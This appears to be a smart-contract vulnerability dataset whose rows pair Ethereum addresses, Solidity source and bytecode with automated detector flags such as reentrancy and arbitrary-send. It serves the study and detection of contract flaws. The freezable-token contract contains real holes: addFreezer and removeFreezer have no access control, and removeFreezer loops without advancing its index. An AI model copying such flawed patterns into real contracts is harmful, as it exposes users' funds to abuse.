001600160a01b03858116911614801561121157506006546001600160a01b03848116911614155b801561123657506001600160a01b03831660009081526004602052604090205460ff16155b156112c857600e5460ff1661128d5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610648565b42600d54607861129d9190611aba565b11156112c457600c546112af8461087e565b6112b99084611aba565b11156112c457600080fd5b5060015b600e54610100900460ff161580156112e25750600e5460ff165b80156112fc57506008546001600160a01b03858116911614155b156113af57600061130c3061087e565b9050801561139857600e5462010000900460ff161561138f57600b5460085460649190611341906001600160a01b031661087e565b61134b9190611ad2565b6113559190611af1565b81111561138f57600b5460085460649190611378906001600160a01b031661087e565b6113829190611ad2565b61138c9190611af1565b90505b61139881611448565b4780156113a8576113a84761140e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113f157506001600160a01b03841660009081526004602052604090205460ff165b156113fa575060005b61140785858584866115bc565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107a7573d6000803e3d6000fd5b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148c5761148c611a21565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115099190611a52565b8160018151811061151c5761151c611a21565b6001600160a01b0392831660209182029290920101526006546115429130911684610f42565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061157b908590600090869030904290600401611b13565b600060405180830381600087803b15801561159557600080fd5b505af11580156115a9573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b60006115c883836115de565b90506115d686868684611602565b505050505050565b60008083156115fb5782156115f657506009546115fb565b50600a545b9392505050565b60008061160f84846116df565b6001600160a01b0388166000908152600260205260409020549193509150611638908590611a0a565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611668908390611aba565b6001600160a01b03861660009081526002602052604090205561168a81611713565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116cf91815260200190565b60405180910390a3505050505050565b6000808060646116ef8587611ad2565b6116f99190611af1565b905060006117078287611a0a565b96919550909350505050565b3060009081526002602052604090205461172e908290611aba565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561176e57858101830151858201604001528201611752565b81811115611780576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461087b57600080fd5b80356117b681611796565b919050565b600080604083850312156117ce57600080fd5b82356117d981611796565b946020939093013593505050565b600080604083850312156117fa57600080fd5b50508035926020909101359150565b60008060006060848603121561181e57600080fd5b833561182981611796565b9250602084013561183981611796565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561187357600080fd5b823567ffffffffffffffff8082111561188b57600080fd5b818501915085601f83011261189f57600080fd5b8135818111156118b1576118b161184a565b8060051b604051601f19603f830116810181811085821117156118d6576118d661184a565b6040529182528482019250838101850191888311156118f457600080fd5b938501935b828510156119195761190a856117ab565b845293850193928501926118f9565b98975050505050505050565b60006020828403121561193757600080fd5b81356115fb81611796565b60006020828403121561195457600080fd5b5035919050565b801515811461087b57600080fd5b60006020828403121561197b57600080fd5b81356115fb8161195b565b6000806040838503121561199957600080fd5b82356119a481611796565b915060208301356119b481611796565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a1c57611a1c6119f4565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a4b57611a4b6119f4565b5060010190565b600060208284031215611a6457600080fd5b81516115fb81611796565b600080600060608486031215611a8457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611aaf57600080fd5b81516115fb8161195b565b60008219821115611acd57611acd6119f4565b500190565b6000816000190483118215151615611aec57611aec6119f4565b500290565b600082611b0e57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b635784516001600160a01b031683529383019391830191600101611b3e565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ae938e55e50fa82c797199b7850f73ec26aa01587725d0247d3c7e53e1c8b0f164736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,384 |
0xd09a85fb262320b43ccea94c235557529e84ee97 | pragma solidity 0.4.23;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
}
contract ERC20 {
/// @return total amount of tokens
function totalSupply() constant public returns (uint256 supply);
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant public returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Coin is ERC20, DSStop {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 internal c_totalSupply;
mapping(address => uint256) internal c_balances;
mapping(address => mapping(address => uint256)) internal c_approvals;
function init(uint256 token_supply, string token_name, string token_symbol) internal {
c_balances[msg.sender] = token_supply;
c_totalSupply = token_supply;
name = token_name;
symbol = token_symbol;
}
function() public {
assert(false);
}
function setName(string _name) auth public {
name = _name;
}
function totalSupply() constant public returns (uint256) {
return c_totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256) {
return c_balances[_owner];
}
function approve(address _spender, uint256 _value) public stoppable returns (bool) {
require(msg.data.length >= (2 * 32) + 4);
require(_value == 0 || c_approvals[msg.sender][_spender] == 0);
// uint never less than 0. The negative number will become to a big positive number
require(_value < c_totalSupply);
c_approvals[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return c_approvals[_owner][_spender];
}
}
contract FreezerAuthority is DSAuthority {
address[] internal c_freezers;
// sha3("setFreezing(address,uint256,uint256,uint8)").slice(0,10)
bytes4 constant setFreezingSig = bytes4(0x51c3b8a6);
// sha3("transferAndFreezing(address,uint256,uint256,uint256,uint8)").slice(0,10)
bytes4 constant transferAndFreezingSig = bytes4(0xb8a1fdb6);
function canCall(address caller, address, bytes4 sig) public view returns (bool) {
// freezer can call setFreezing, transferAndFreezing
if (isFreezer(caller) && (sig == setFreezingSig || sig == transferAndFreezingSig)) {
return true;
} else {
return false;
}
}
function addFreezer(address freezer) public {
int i = indexOf(c_freezers, freezer);
if (i < 0) {
c_freezers.push(freezer);
}
}
function removeFreezer(address freezer) public {
int index = indexOf(c_freezers, freezer);
if (index >= 0) {
uint i = uint(index);
while (i < c_freezers.length - 1) {
c_freezers[i] = c_freezers[i + 1];
}
c_freezers.length--;
}
}
/** Finds the index of a given value in an array. */
function indexOf(address[] values, address value) internal pure returns (int) {
uint i = 0;
while (i < values.length) {
if (values[i] == value) {
return int(i);
}
i++;
}
return int(- 1);
}
function isFreezer(address addr) public constant returns (bool) {
return indexOf(c_freezers, addr) >= 0;
}
}
contract FreezableCoin is Coin, DSMath {
// freezing struct
struct FreezingNode {
uint end_stamp;
uint num_coins;
uint8 freezing_type;
}
// freezing account list
mapping(address => FreezingNode[]) internal c_freezing_list;
constructor(uint256 token_supply, string token_name, string token_symbol) public {
init(token_supply, token_name, token_symbol);
setAuthority(new FreezerAuthority());
}
function addFreezer(address freezer) auth public {
FreezerAuthority(authority).addFreezer(freezer);
}
function removeFreezer(address freezer) auth public {
FreezerAuthority(authority).removeFreezer(freezer);
}
event ClearExpiredFreezingEvent(address indexed addr);
event SetFreezingEvent(address indexed addr, uint end_stamp, uint num_coins, uint8 indexed freezing_type);
function clearExpiredFreezing(address addr) public {
FreezingNode[] storage nodes = c_freezing_list[addr];
uint length = nodes.length;
// find first expired index
uint left = 0;
while (left < length) {
// not freezing any more
if (nodes[left].end_stamp <= block.timestamp) {
break;
}
left++;
}
// next frozen index
uint right = left + 1;
while (left < length && right < length) {
// still freezing
if (nodes[right].end_stamp > block.timestamp) {
nodes[left] = nodes[right];
left++;
}
right++;
}
if (length != left) {
nodes.length = left;
emit ClearExpiredFreezingEvent(addr);
}
}
function validBalanceOf(address addr) constant public returns (uint) {
FreezingNode[] memory nodes = c_freezing_list[addr];
uint length = nodes.length;
uint total_coins = balanceOf(addr);
for (uint i = 0; i < length; ++i) {
if (nodes[i].end_stamp > block.timestamp) {
total_coins = sub(total_coins, nodes[i].num_coins);
}
}
return total_coins;
}
function freezingBalanceNumberOf(address addr) constant public returns (uint) {
return c_freezing_list[addr].length;
}
function freezingBalanceInfoOf(address addr, uint index) constant public returns (uint, uint, uint8) {
return (c_freezing_list[addr][index].end_stamp, c_freezing_list[addr][index].num_coins, uint8(c_freezing_list[addr][index].freezing_type));
}
function setFreezing(address addr, uint end_stamp, uint num_coins, uint8 freezing_type) auth stoppable public {
require(block.timestamp < end_stamp);
// uint never less than 0. The negative number will become to a big positive number
require(num_coins < c_totalSupply);
clearExpiredFreezing(addr);
uint valid_balance = validBalanceOf(addr);
require(valid_balance >= num_coins);
FreezingNode memory node = FreezingNode(end_stamp, num_coins, freezing_type);
c_freezing_list[addr].push(node);
emit SetFreezingEvent(addr, end_stamp, num_coins, freezing_type);
}
function transferAndFreezing(address _to, uint256 _value, uint256 freeze_amount, uint end_stamp, uint8 freezing_type) auth stoppable public returns (bool) {
// uint never less than 0. The negative number will become to a big positive number
require(_value < c_totalSupply);
require(freeze_amount <= _value);
transfer(_to, _value);
setFreezing(_to, end_stamp, freeze_amount, freezing_type);
return true;
}
function transfer(address _to, uint256 _value) stoppable public returns (bool) {
require(msg.data.length >= (2 * 32) + 4);
// uint never less than 0. The negative number will become to a big positive number
require(_value < c_totalSupply);
clearExpiredFreezing(msg.sender);
uint from_coins = validBalanceOf(msg.sender);
require(from_coins >= _value);
c_balances[msg.sender] = sub(c_balances[msg.sender], _value);
c_balances[_to] = add(c_balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) stoppable public returns (bool) {
// uint never less than 0. The negative number will become to a big positive number
require(_value < c_totalSupply);
require(c_approvals[_from][msg.sender] >= _value);
clearExpiredFreezing(_from);
uint from_coins = validBalanceOf(_from);
require(from_coins >= _value);
c_approvals[_from][msg.sender] = sub(c_approvals[_from][msg.sender], _value);
c_balances[_from] = sub(c_balances[_from], _value);
c_balances[_to] = add(c_balances[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
} | 0x6080604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461015957806307da68f5146101e3578063095ea7b3146101f857806313af40351461023057806318160ddd146102515780631a71d3db1461027857806323b872dd146102995780632acd2000146102c3578063313ce567146102e457806351c3b8a61461030f578063526606c91461033c57806370a082311461035d57806375f12b211461037e57806378b83360146103935780637a9e5e4b146103d85780638da5cb5b146103f957806395d89b411461042a578063a9059cbb1461043f578063b8a1fdb614610463578063be9a655514610493578063bf7e214f146104a8578063c47f0027146104bd578063c783fb1014610516578063dd62ed3e14610537578063ed8a9c0f1461055e575b34801561015457600080fd5b50fe5b005b34801561016557600080fd5b5061016e61057f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a8578181015183820152602001610190565b50505050905090810190601f1680156101d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ef57600080fd5b5061015761060a565b34801561020457600080fd5b5061021c600160a060020a03600435166024356106ad565b604080519115158252519081900360200190f35b34801561023c57600080fd5b50610157600160a060020a0360043516610785565b34801561025d57600080fd5b50610266610803565b60408051918252519081900360200190f35b34801561028457600080fd5b50610266600160a060020a036004351661080a565b3480156102a557600080fd5b5061021c600160a060020a0360043581169060243516604435610825565b3480156102cf57600080fd5b50610157600160a060020a03600435166109a6565b3480156102f057600080fd5b506102f9610a46565b6040805160ff9092168252519081900360200190f35b34801561031b57600080fd5b50610157600160a060020a036004351660243560443560ff60643516610a4f565b34801561034857600080fd5b50610157600160a060020a0360043516610b85565b34801561036957600080fd5b50610266600160a060020a0360043516610c0a565b34801561038a57600080fd5b5061021c610c25565b34801561039f57600080fd5b506103b7600160a060020a0360043516602435610c35565b60408051938452602084019290925260ff1682820152519081900360600190f35b3480156103e457600080fd5b50610157600160a060020a0360043516610cfb565b34801561040557600080fd5b5061040e610d75565b60408051600160a060020a039092168252519081900360200190f35b34801561043657600080fd5b5061016e610d84565b34801561044b57600080fd5b5061021c600160a060020a0360043516602435610ddf565b34801561046f57600080fd5b5061021c600160a060020a036004351660243560443560643560ff60843516610eec565b34801561049f57600080fd5b50610157610f64565b3480156104b457600080fd5b5061040e611001565b3480156104c957600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101579436949293602493928401919081908401838280828437509497506110109650505050505050565b34801561052257600080fd5b50610266600160a060020a0360043516611048565b34801561054357600080fd5b50610266600160a060020a0360043581169060243516611160565b34801561056a57600080fd5b50610157600160a060020a036004351661118b565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156106025780601f106105d757610100808354040283529160200191610602565b820191906000526020600020905b8154815290600101906020018083116105e557829003601f168201915b505050505081565b61062033600035600160e060020a0319166112e7565b151561062b57600080fd5b6040805134808252602082018381523693830184905260043593602435938493869333600160a060020a03169360008035600160e060020a031916949092606082018484808284376040519201829003965090945050505050a450506001805474ff0000000000000000000000000000000000000000191660a060020a179055565b60015460009060a060020a900460ff16156106c757600080fd5b60443610156106d557600080fd5b8115806107055750600160a060020a03338116600090815260076020908152604080832093871683529290522054155b151561071057600080fd5b600554821061071e57600080fd5b600160a060020a03338116600081815260076020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060015b92915050565b61079b33600035600160e060020a0319166112e7565b15156107a657600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383811691909117918290556040519116907fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9490600090a250565b6005545b90565b600160a060020a031660009081526008602052604090205490565b600154600090819060a060020a900460ff161561084157600080fd5b600554831061084f57600080fd5b600160a060020a038086166000908152600760209081526040808320339094168352929052205483111561088257600080fd5b61088b8561118b565b61089485611048565b9050828110156108a357600080fd5b600160a060020a03808616600090815260076020908152604080832033909416835292905220546108d490846113f9565b600160a060020a03808716600081815260076020908152604080832033909516835293815283822094909455908152600690925290205461091590846113f9565b600160a060020a0380871660009081526006602052604080822093909355908616815220546109449084611409565b600160a060020a0380861660008181526006602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b6109bc33600035600160e060020a0319166112e7565b15156109c757600080fd5b60008054604080517f2acd2000000000000000000000000000000000000000000000000000000000008152600160a060020a03858116600483015291519190921692632acd2000926024808201939182900301818387803b158015610a2b57600080fd5b505af1158015610a3f573d6000803e3d6000fd5b5050505050565b60045460ff1681565b6000610a59611419565b610a6f33600035600160e060020a0319166112e7565b1515610a7a57600080fd5b60015460a060020a900460ff1615610a9157600080fd5b428511610a9d57600080fd5b6005548410610aab57600080fd5b610ab48661118b565b610abd86611048565b915083821015610acc57600080fd5b5060408051606081018252858152602080820186815260ff868116848601818152600160a060020a038c1660008181526008875288812080546001808201835591835291889020895160039093020191825595519581019590955590516002909401805460ff19169490931693909317909155845189815292830188905284519394909391927f8353c9c8e6b29f14bab2183a16c2ffce362ad474a75fc1adfd390a554a9532d2929081900390910190a3505050505050565b610b9b33600035600160e060020a0319166112e7565b1515610ba657600080fd5b60008054604080517f526606c9000000000000000000000000000000000000000000000000000000008152600160a060020a0385811660048301529151919092169263526606c9926024808201939182900301818387803b158015610a2b57600080fd5b600160a060020a031660009081526006602052604090205490565b60015460a060020a900460ff1681565b600160a060020a038216600090815260086020526040812080548291829185908110610c5d57fe5b60009182526020808320600390920290910154600160a060020a038816835260089091526040909120805486908110610c9257fe5b9060005260206000209060030201600101546008600088600160a060020a0316600160a060020a0316815260200190815260200160002086815481101515610cd657fe5b6000918252602090912060026003909202010154919450925060ff1690509250925092565b610d1133600035600160e060020a0319166112e7565b1515610d1c57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116919091178083556040519116917f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada491a250565b600154600160a060020a031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106025780601f106105d757610100808354040283529160200191610602565b600154600090819060a060020a900460ff1615610dfb57600080fd5b6044361015610e0957600080fd5b6005548310610e1757600080fd5b610e203361118b565b610e2933611048565b905082811015610e3857600080fd5b600160a060020a033316600090815260066020526040902054610e5b90846113f9565b600160a060020a033381166000908152600660205260408082209390935590861681522054610e8a9084611409565b600160a060020a038086166000818152600660209081526040918290209490945580518781529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b6000610f0433600035600160e060020a0319166112e7565b1515610f0f57600080fd5b60015460a060020a900460ff1615610f2657600080fd5b6005548510610f3457600080fd5b84841115610f4157600080fd5b610f4b8686610ddf565b50610f5886848685610a4f565b50600195945050505050565b610f7a33600035600160e060020a0319166112e7565b1515610f8557600080fd5b6040805134808252602082018381523693830184905260043593602435938493869333600160a060020a03169360008035600160e060020a031916949092606082018484808284376040519201829003965090945050505050a450506001805474ff000000000000000000000000000000000000000019169055565b600054600160a060020a031681565b61102633600035600160e060020a0319166112e7565b151561103157600080fd5b805161104490600290602084019061143e565b5050565b6000606060008060006008600087600160a060020a0316600160a060020a03168152602001908152602001600020805480602002602001604051908101604052809291908181526020016000905b828210156110e55760008481526020908190206040805160608101825260038602909201805483526001808201548486015260029091015460ff16918301919091529083529092019101611096565b505050509350835192506110f886610c0a565b9150600090505b828110156111575742848281518110151561111657fe5b6020908102909101015151111561114f5761114c82858381518110151561113957fe5b90602001906020020151602001516113f9565b91505b6001016110ff565b50949350505050565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b600160a060020a038116600090815260086020526040812080549091805b828210156111e6574284838154811015156111c057fe5b6000918252602090912060039091020154116111db576111e6565b6001909101906111a9565b50600181015b82821080156111fa57508281105b156112995742848281548110151561120e57fe5b906000526020600020906003020160000154111561129157838181548110151561123457fe5b9060005260206000209060030201848381548110151561125057fe5b6000918252602090912082546003909202019081556001808301548183015560029283015492909101805460ff191660ff9093169290921790915591909101905b6001016111ec565b828214610a3f57816112ab85826114bc565b50604051600160a060020a038616907f1349c273832f298de87bb3ef2d605b440b294c028baee20ea8711724452fde8590600090a25050505050565b600030600160a060020a031683600160a060020a0316141561130b5750600161077f565b600154600160a060020a03848116911614156113295750600161077f565b600054600160a060020a031615156113435750600061077f565b60008054604080517fb7009613000000000000000000000000000000000000000000000000000000008152600160a060020a0387811660048301523081166024830152600160e060020a0319871660448301529151919092169263b700961392606480820193602093909283900390910190829087803b1580156113c657600080fd5b505af11580156113da573d6000803e3d6000fd5b505050506040513d60208110156113f057600080fd5b5051905061077f565b8082038281111561077f57600080fd5b8082018281101561077f57600080fd5b6060604051908101604052806000815260200160008152602001600060ff1681525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061147f57805160ff19168380011785556114ac565b828001600101855582156114ac579182015b828111156114ac578251825591602001919060010190611491565b506114b89291506114ed565b5090565b8154818355818111156114e8576003028160030283600052602060002091820191016114e89190611507565b505050565b61080791905b808211156114b857600081556001016114f3565b61080791905b808211156114b8576000808255600182015560028101805460ff1916905560030161150d5600a165627a7a723058209521b12b8d22fadf39c10df98bf5d8dd5b3a5a2c8eae97c9704f0b90dd4d1ecf0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 10,385 |
0x5816b0d64c95c679c7e06f5a0264e8cdb03db59b | pragma solidity ^0.5.0;
/*****************************************************************************
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
/*****************************************************************************
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*****************************************************************************
* @dev Basic implementation of the `IERC20` interface.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
/*****************************************************************************
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
